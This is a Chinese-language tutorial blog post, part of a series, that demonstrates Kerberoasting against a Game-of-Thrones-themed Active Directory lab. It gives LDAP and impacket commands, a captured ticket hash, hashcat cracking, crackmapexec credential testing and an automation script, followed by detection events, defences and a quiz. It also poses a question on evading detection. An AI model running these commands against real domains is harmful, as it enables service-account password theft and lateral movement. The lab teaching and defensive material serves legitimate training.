iT邦幫忙

2025 iThome 鐵人賽

DAY 4
2
Security

資安這條路:AD 攻防實戰演練系列 第 4

AD 攻防實戰演練 Day 4: Kerberoasting 實戰 - 服務帳號密碼獵取

  • 分享至 

  • xImage
  •  

image

本日學習目標

今天我們要深入學習 Kerberoasting - 一個針對服務帳號的強大攻擊技術。這是從「擁有基礎憑證」進階到「獵取服務帳號密碼」的關鍵技巧。我們將學習如何識別、攻擊並破解服務帳號,最終取得更高權限的存取。


前置知識回顧與專有名詞

成果確認

在開始之前,確保已經完成:

  • 取得兩組有效憑證:samwell.tarly:Heartsbanebrandon.stark:iseedeadpeople
  • 了解環境中的 SMB 簽章狀態(CASTELBLACK 和 BRAAVOS 未啟用)
  • 熟悉基本的 Kerberos 認證流程

工具準備

# 確認 Impacket 工具已安裝
which impacket-GetUserSPNs || sudo apt install python3-impacket -y

# 確認 hashcat 已安裝
which hashcat || sudo apt install hashcat -y

# 確認 ldapsearch 已安裝
which ldapsearch || sudo apt install ldap-utils -y

# 準備字典檔
ls /usr/share/wordlists/rockyou.txt || sudo gunzip /usr/share/wordlists/rockyou.txt.gz

image

核心概念

SPN (Service Principal Name)

  • 是什麼:服務在 AD 中的唯一識別碼,像服務的「身分證」
  • 格式範例
    • MSSQLSvc/castelblack.north.sevenkingdoms.local:1433 - SQL 服務
    • HTTP/web01.domain.local:80 - Web 服務
    • HOST/dc01.domain.local - 主機服務
  • 為什麼重要:有 SPN = 可被 Kerberoasting 攻擊
  • 關鍵差異
    • 電腦帳號:120 字元隨機密碼(幾乎無法破解)
    • 使用者帳號:人類設定的密碼(可能較弱)

Kerberos 票證系統

  • TGT (Ticket Granting Ticket):初始認證票證,像是「通行證」
  • TGS (Ticket Granting Service):服務票證,像是「入場券」
  • 加密機制
    • TGT:用 krbtgt 帳號密碼加密
    • TGS:用服務帳號密碼加密(攻擊關鍵!)

攻擊技術對比

技術 需要憑證 目標 風險等級 偵測難度
ASREPRoasting 不需預認證的帳號 困難
Kerberoasting 服務帳號 中等
Pass-the-Hash Hash 任意主機 中等
Golden Ticket krbtgt hash 整個網域 極高 困難

學習路線圖

學習路線圖


Part 1:Kerberoasting 原理深度剖析

1.1 完整的 Kerberos 服務存取流程

正常流程

image

正常的 Kerberos 三步驟

步驟 1:初始認證(AS-REQ/AS-REP)
使用者 → KDC:「我是 samwell.tarly,給我 TGT」
KDC → 使用者:「這是你的 TGT」(用 krbtgt 密碼加密)

步驟 2:請求服務票證(TGS-REQ/TGS-REP)
使用者 → KDC:「我要存取 SQL 服務,這是我的 TGT」
KDC → 使用者:「這是 SQL 的服務票證」(用 sql_svc 密碼加密)

步驟 3:存取服務(AP-REQ/AP-REP)
使用者 → SQL Server:「我要使用服務,這是 TGS」
SQL Server:(用自己的密碼解密 TGS)「驗證成功,開始服務」

Kerberoasting 攻擊差異

攻擊者的做法:
步驟 1:正常取得 TGT ✓
步驟 2:請求服務票證 ✓
步驟 3:不送給服務!改為離線破解 TGS 取得密碼

關鍵洞察

為什麼 TGS 用服務帳號密碼加密?

  • KDC 和服務共享服務帳號的密碼
  • 確保只有真正的服務能解密票證
  • 防止偽造服務

攻擊利用點:

  • 任何有效使用者都可請求 TGS
  • KDC 不驗證使用者是否真的要使用服務
  • TGS 可離線破解,不會觸發登入失敗

1.2 加密類型與破解難度

加密類型 Etype Hash 前綴 Hashcat 模式 破解難度
RC4-HMAC 23 $krb5tgs$23$ -m 13100 容易
AES-128 17 $krb5tgs$17$ -m 19600 中等
AES-256 18 $krb5tgs$18$ -m 19700 困難

重要提示: RC4 雖然較弱,但為了向後相容,許多環境仍然支援!


Part 2:尋找有 SPN 的帳號

2.1 使用 LDAP 查詢(有憑證)

# 使用已知憑證查詢所有有 SPN 的使用者
ldapsearch -x -H ldap://192.168.139.11 \
    -D 'NORTH\samwell.tarly' -w 'Heartsbane' \
    -b 'DC=north,DC=sevenkingdoms,DC=local' \
    '(&(objectClass=user)(servicePrincipalName=*))' \
    sAMAccountName servicePrincipalName distinguishedName

參數說明:

  • -x:簡單驗證 (Simple Bind),不使用 SASL。
  • -H:指定 LDAP 伺服器,這裡為 192.168.139.11
  • -D / -w:登入使用者與密碼 (samwell.tarly / Heartsbane)。
  • -b:Base DN,搜尋範圍從 DC=north,DC=sevenkingdoms,DC=local 展開。
  • 過濾條件(&(objectClass=user)(servicePrincipalName=*))
    僅回傳「類型為使用者,且設定了 SPN」的物件。
  • 屬性輸出:帳號名稱 (sAMAccountName)、SPN (servicePrincipalName)、完整 DN。

image

深入解析

為什麼執行:

  • 精確找出所有可被 Kerberoasting 的目標
  • 服務帳號通常有高權限(資料庫、Web 服務等)
  • 服務帳號密碼常年不變,可能較弱

LDAP 過濾器解釋:

(&                              # AND 運算
  (objectClass=user)           # 只找使用者(排除電腦)
  (servicePrincipalName=*)     # 有 SPN 屬性
)

預期結果:

# sql_svc, Users, north.sevenkingdoms.local
dn: CN=sql_svc,CN=Users,DC=north,DC=sevenkingdoms,DC=local
sAMAccountName: sql_svc
servicePrincipalName: MSSQLSvc/castelblack.north.sevenkingdoms.local:1433

# jon.snow, Users, north.sevenkingdoms.local  
dn: CN=jon.snow,CN=Users,DC=north,DC=sevenkingdoms,DC=local
sAMAccountName: jon.snow
servicePrincipalName: HTTP/winterfell.north.sevenkingdoms.local

image

第一個帳號:sql_svc

# sql_svc, Users, north.sevenkingdoms.local
dn: CN=sql_svc,CN=Users,DC=north,DC=sevenkingdoms,DC=local
sAMAccountName: sql_svc
servicePrincipalName: MSSQLSvc/castelblack.north.sevenkingdoms.local:1433
各欄位解釋:
  1. 註解行 # sql_svc, Users, north.sevenkingdoms.local
    • LDAP 自動產生的註解,顯示物件的簡化路徑
    • 表示:sql_svc 帳號位於 Users 容器,屬於 north.sevenkingdoms.local 網域
  2. dn (Distinguished Name)CN=sql_svc,CN=Users,DC=north,DC=sevenkingdoms,DC=local
    • 物件在 AD 中的完整唯一識別路徑
    • 解構:
      • CN=sql_svc:Common Name,物件名稱是 sql_svc
      • CN=Users:位於 Users 容器中(預設使用者存放位置)
      • DC=north,DC=sevenkingdoms,DC=local:網域組成(north.sevenkingdoms.local)
  3. sAMAccountNamesql_svc
    • 登入帳號名稱(Security Account Manager Account Name)
    • 這是實際用來登入的使用者名稱
  4. servicePrincipalNameMSSQLSvc/castelblack.north.sevenkingdoms.local:1433
    • 這是 Kerberoasting 攻擊的關鍵!
    • SPN 格式分解:
      • MSSQLSvc:服務類型(Microsoft SQL Server)
      • castelblack.north.sevenkingdoms.local:服務執行的主機名稱
      • 1433:服務埠號(SQL Server 預設埠)
    • 意義:表示 sql_svc 帳號用於在 CASTELBLACK 伺服器上執行 SQL Server 服務

第二個帳號:jon.snow

# jon.snow, Users, north.sevenkingdoms.local  
dn: CN=jon.snow,CN=Users,DC=north,DC=sevenkingdoms,DC=local
sAMAccountName: jon.snow
servicePrincipalName: HTTP/winterfell.north.sevenkingdoms.local
各欄位解釋:
  1. dnCN=jon.snow,CN=Users,DC=north,DC=sevenkingdoms,DC=local
    • jon.snow 帳號的完整 AD 路徑
    • 同樣位於 Users 容器中
  2. sAMAccountNamejon.snow
    • 登入名稱為 jon.snow
    • 注意:被設定了 SPN
  3. servicePrincipalNameHTTP/winterfell.north.sevenkingdoms.local
    • SPN 格式分解:
      • HTTP:服務類型(Web 服務)
      • winterfell.north.sevenkingdoms.local:服務主機名稱
      • 沒有指定埠號(HTTP 預設使用 80/443)
    • 意義:jon.snow 帳號可能用於 IIS 應用程式或其他 Web 服務

Part 3:執行 Kerberoasting 攻擊

3.1 使用 Impacket 基礎攻擊

# 請求所有服務票證
impacket-GetUserSPNs north.sevenkingdoms.local/samwell.tarly:Heartsbane \
    -dc-ip 192.168.139.11 -request

深入解析

參數說明:

  • north.sevenkingdoms.local/samwell.tarly:Heartsbane:網域/使用者:密碼
  • -dc-ip 192.168.139.11:指定 DC IP(避免 DNS 問題)
  • -request:實際請求票證(否則只列出)

預期輸出:

ServicePrincipalName                                  Name     MemberOf  PasswordLastSet
----------------------------------------------------  -------  --------  -------------------
MSSQLSvc/castelblack.north.sevenkingdoms.local:1433  sql_svc            2024-01-01 12:00:00
HTTP/winterfell.north.sevenkingdoms.local            jon.snow           2024-01-01 12:00:00

$krb5tgs$23$*sql_svc$NORTH.SEVENKINGDOMS.LOCAL$MSSQLSvc/castelblack.north...
$krb5tgs$23$*jon.snow$NORTH.SEVENKINGDOMS.LOCAL$HTTP/winterfell.north...

3.2 進階選項與技巧

針對特定使用者

# 只攻擊特定使用者
impacket-GetUserSPNs north.sevenkingdoms.local/samwell.tarly:Heartsbane \
    -dc-ip 192.168.139.11 -request-user sql_svc

image

3.3 儲存 Hash 進行破解

儲存並破解hash:

cat > jon.snow.hash << 'EOF'
$krb5tgs$23$*jon.snow$NORTH.SEVENKINGDOMS.LOCAL$north.sevenkingdoms.local/jon.snow*$b46e4c9cad8a8c8f0375032c4ca16cca$e8c5a4ca8eb016dd2a82dac7c28ff124f8da26cc7b74bbafd4cf41bd2d08c484db62817a8a874c03b90ba714d9145ba427a06785fccc133c875813f1cecf51baba2da7ff8984946d79aa49e5b4f29d51acf796471c106d7fe7ff7396237e31599f25fd29131cac9b28fbc973e58d3aa79b7970d76569ed0d91297e117cd84e52d3f9b3b1f55e1a6d5460d2bd0adbaa32da7d2c9611adc18afa192873584fdf5c275da7e5d477959e4cc40b69630eada68e925561b95ae8be229675a5ac2c383de571223bd7fc2109a9a9af521652fae4778ab5cba7742cc9156dd49f51e92126ccef44bf3a1a5b4369631db87fbc1a92cbeb293948e3c8d1394410790effd0cea5c69036d2fc342122df58322007c678e45241a484fb397ab8b554b163357fe228c336b9176c1617e76b6637fec79bfb91f269171de9a5b35391eabc580987b79da7a3d4a2ad1b61aaf01e2a4a5a699d88954bb3aa056750ba88ff5e2429c0cb4e54b50dee514eb398d7e633ff2f78fafab602a7ce345bcacbb9dd829a3f68f572cb493df3c955615f89acbac3cbbc837d9a112fb966b22ec7dac8eda32d9f0f0894bb5dd4d4ad750513334d5aa42620d7a9219af59e7b00badbc7dd49dc2e3b472b9cf22483cf8cb6087396b61c069568944b05f1b25b1ed913f768653de756577e095180d5efa505094986994220c1fec234a8e072bd3720211748afa4dcd6dff9791822ec0fe738d01e7f4f32c986c6e341dbde22bc03f63232afd702646dc46087a2c2c1b2eebcf3c39f4f5a8164ed2989bfbe010e475f760d836b4149c6ccee156facdd16cca654a15711433a26a48f503fcf0309c85d5b030d962c4c7dff954e4e23b903d1a79fd67a4d69a4229f7a5caa85cb978774705fbd13c311a67348366d7f0d3a1986d631890e751050224b11b7936286a1fc65d94cc25f7e5b81f836ba08ce66bd9ea452e9245e06053ab9a30b0f664d6946e59317e3359df870c631359d72aa04226e65d88ec53bbe02bc2352d03d09eb7b2ec9185dd8b4d70ff0ba2ce2fde699a47ad6d8358fc9ae7ae73ad8dbb62a60a1e4212627cff2396c2d23b0aa9de9a887716d9666b516e586a6a1468c46d380f4e7733d2987c0ccb2366b198bf8564057fdbcae0fa741cf2728fe936757e0afd72db59061464e891b616c8da31277254ee8e1f50426c66154abd4a9419048797daea290fec9b3b39b214c724385647814d31e7a045ed6cfc2f476749db5ca05348f7fa3166d35aa9ac9c359ef0485c49434715af94b5949415a2e9110131d18504bfc924dc9ade00c3679ae1f3d826f287a329e2a175c1304e30f8c0d26d5c5687bd88a091649fd0bb885ce1be95f6765a0378698b927fb0887b9c9f0cae9c5933f1478b4279e6ffb6078527f526c98c34efd794eccb2fdded07200ee59a825a4cda7f51f55852f7a1f45c959b99d9de597f364690f7b835c44d6740585b7e9b0f4645edcff48ee408b732de40d1d62f15d6c24d4d81e
EOF

image
image


Part 4:破解服務帳號密碼

4.1 基礎破解技術

# 使用hashcat破解
hashcat -m 13100 sql_svc.hash /usr/share/wordlists/rockyou.txt --force
# 使用hashcat破解
hashcat -m 13100 jon.snow.hash /usr/share/wordlists/rockyou.txt --force

image

取得 jon.snow 密碼iknownothing

Hashcat 參數:

  • -m 13100:Kerberos 5 TGS-REP etype 23 (RC4)
  • --force:忽略警告(VM 環境常需要)
  • --status:顯示即時狀態

4.2 處理不同加密類型

# AES-128 (etype 17)
hashcat -m 19600 aes128.hash /usr/share/wordlists/rockyou.txt --force

# AES-256 (etype 18)  
hashcat -m 19700 aes256.hash /usr/share/wordlists/rockyou.txt --force

破解時間對比(相同硬體):

  • RC4:1 小時
  • AES-128:8 小時
  • AES-256:24+ 小時

Part 5:驗證破解的密碼

5.1 測試憑證有效性

# 測試 jon.snow 的密碼
crackmapexec smb 192.168.139.0/24 -u jon.snow -p iknownothing

image

預期結果:

SMB  192.168.139.11  445  WINTERFELL     [+] north.sevenkingdoms.local\jon.snow:iknownothing
SMB  192.168.139.22  445  CASTELBLACK    [+] north.sevenkingdoms.local\jon.snow:iknownothing
SMB  192.168.139.23  445  BRAAVOS        [+] essos.local\jon.snow:iknownothing

5.2 檢查權限等級

# 查看共享資料夾權限
crackmapexec smb 192.168.139.22 -u jon.snow -p iknownothing --shares

image

結果分析:

Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin  ← 無存取權限
all             READ,WRITE      Basic RW share  ← 可讀寫!
C$                              Default share  ← 無存取權限
IPC$            READ            Remote IPC
public          READ            Basic Read share for all domain users

Part 6:防禦與偵測

6.1 偵測指標 (IOCs)

監控以下 Windows 事件:

Event ID 4769 - Kerberos Service Ticket Operations
- 異常:短時間內大量不同服務的請求
- 異常:使用者請求從未使用過的服務
- 異常:加密類型降級(AES → RC4)

6.2 防禦措施

立即改善

# 1. 檢查所有有 SPN 的使用者帳號
ldapsearch -x -H ldap://DC_IP -D "admin@domain" -w "password" \
    '(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName

# 2. 確認服務帳號使用強密碼(25+ 字元)
# 3. 考慮改用 gMSA(群組受管理服務帳號)
# 4. 停用 RC4,只使用 AES

蜜罐帳號設定

# 建立誘餌 SPN 監控 Kerberoasting
# 任何對此帳號的 TGS 請求都應觸發警報

攻擊成果總結

憑證收集進度

使用者 密碼 取得方式 權限等級
samwell.tarly Heartsbane 描述欄位 一般使用者
brandon.stark iseedeadpeople ASREPRoasting 一般使用者
jon.snow iknownothing Kerberoasting 跨網域存取

技術成效對比

技術 成功率 破解時間 偵測風險
ASREPRoasting 低(需特定設定)
Kerberoasting (RC4)
Kerberoasting (AES)
無憑證 Kerberoasting 極低

實戰小技巧

自動化腳本

#!/bin/bash
# kerberoast.sh - 自動化 Kerberoasting 腳本

DOMAIN="$1"
USER="$2"
PASS="$3"
DC_IP="$4"

echo "[+] 尋找 SPN 帳號..."
impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" -dc-ip $DC_IP > spn_users.txt

echo "[+] 請求所有票證..."
impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" -dc-ip $DC_IP -request \
    -outputfile kerberoast_hashes.txt

echo "[+] 開始破解..."
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
    --force --potfile-path=cracked.pot

echo "[+] 顯示破解結果..."
hashcat -m 13100 kerberoast_hashes.txt --show

指令速查

用途 指令
查詢 SPN ldapsearch -x -H ldap://<DC> '(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName
Kerberoasting impacket-GetUserSPNs domain/user:pass -dc-ip <DC> -request
破解 RC4 hashcat -m 13100 hash.txt wordlist.txt
破解 AES-128 hashcat -m 19600 hash.txt wordlist.txt
破解 AES-256 hashcat -m 19700 hash.txt wordlist.txt
驗證密碼 crackmapexec smb <IP> -u user -p password

本日任務檢查清單

  • [ ] 使用 LDAP 找出所有有 SPN 的帳號
  • [ ] 執行 Kerberoasting 取得 TGS hash
  • [ ] 成功破解一個服務帳號密碼
  • [ ] 驗證破解的密碼在哪些系統可用
  • [ ] 嘗試強制 RC4 降級攻擊
  • [ ] 記錄所有取得的憑證

思考題

  1. 為什麼服務帳號常使用弱密碼?

    提示:服務穩定性 vs 安全性、密碼輪換的挑戰

  2. RC4 vs AES 的取捨?

    提示:向後相容、破解難度、企業環境現實

  3. 如何在不被偵測的情況下執行 Kerberoasting?

    提示:時間間隔、目標選擇、正常行為模擬


延伸閱讀


小試身手

題 1

Kerberoasting 的關鍵前提是什麼?
A. 目標服務使用電腦帳號(machine$)作為 SPN。
B. 攻擊者需取得 krbtgt 帳號的 hash 才能請求 TGS。
C. 任何有有效使用者憑證的人都能向 KDC 請求服務票證 (TGS)。
D. Kerberoasting 只能在啟用 RC4 的環境發生。
正確答案:C。
解析:KDC 允許任何有效憑證請求 TGS,攻擊者可取得用服務帳號加密的 TGS 並離線破解。電腦帳號通常不可行(A錯),不需 krbtgt(B錯),也不只限於 RC4(D錯,AES 亦可)。


題 2

下列哪一項最能降低 Kerberoasting 成功率?
A. 使用短且固定的服務帳號密碼。
B. 使用群組受管理服務帳號(gMSA)或 Managed Service Account 並定期輪換密碼。
C. 把服務帳號改成電腦帳號(machine$)。
D. 在 Domain Controller 上停用 Kerberos。
正確答案:B。
解析:gMSA 自動管理密碼並頻繁輪換,大幅降低長期弱密碼被破解的風險。C 不實際且影響功能;D 會破壞正常認證。


題 3

Impacket 的 GetUserSPNs 輸出 $krb5tgs$23$... 格式表示哪種加密類型?
A. AES-128
B. AES-256
C. RC4-HMAC (etype 23)
D. DES
正確答案:C。
解析:$krb5tgs$23$ 對應 etype 23,即 RC4-HMAC,hashcat 模式為 13100。


題 4

在偵測 Kerberoasting 時,下列哪一項是合理的 SIEM 告警規則?
A. 監控來源 IP 對單一 SPN 的所有 TGS 請求在 1 分鐘內超過 100 次。
B. 監控單一使用者短時間內請求多個不同服務(多個 SPN)的 TGS。
C. 監控所有成功的 NTLM 驗證。
D. 僅監控 4624 事件就能偵測所有 Kerberoasting。
正確答案:B。
解析:Kerberoasting 常見行為是同一使用者在短時間內請求多個服務票證;A 雖極端但可能誤判,C/D 不足以專門偵測 Kerberoast 行為。


題 5

關於使用 hashcat 破解 Kerberoast hash,下列敘述何者正確?
A. AES-256 的 krb5tgs(etype 18)永遠比 RC4 更容易破解。
B. 在未取得 GPU 的情況下,破解 AES-256 仍然快速且實用。
C. 可以用字典 + 規則(rule)或 mask 來提高破解成功率。
D. 一旦 hash 存在於檔案中,就沒必要保護該檔案(可任意分享)。
正確答案:C。
解析:使用規則或 mask 可以顯著提升成功率(C正確)。A/B 錯誤(AES 比 RC4 更難,且 AES-256 在無強大 GPU 時非常耗時)。D 極度錯誤 — hash/potfile 必須保護。


上一篇
AD 攻防實戰演練 Day 3:AD 使用者列舉與憑證獵取
下一篇
AD 攻防實戰演練 Day 5:BloodHound - 視覺化 AD 攻擊路徑
系列文
資安這條路:AD 攻防實戰演練5
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言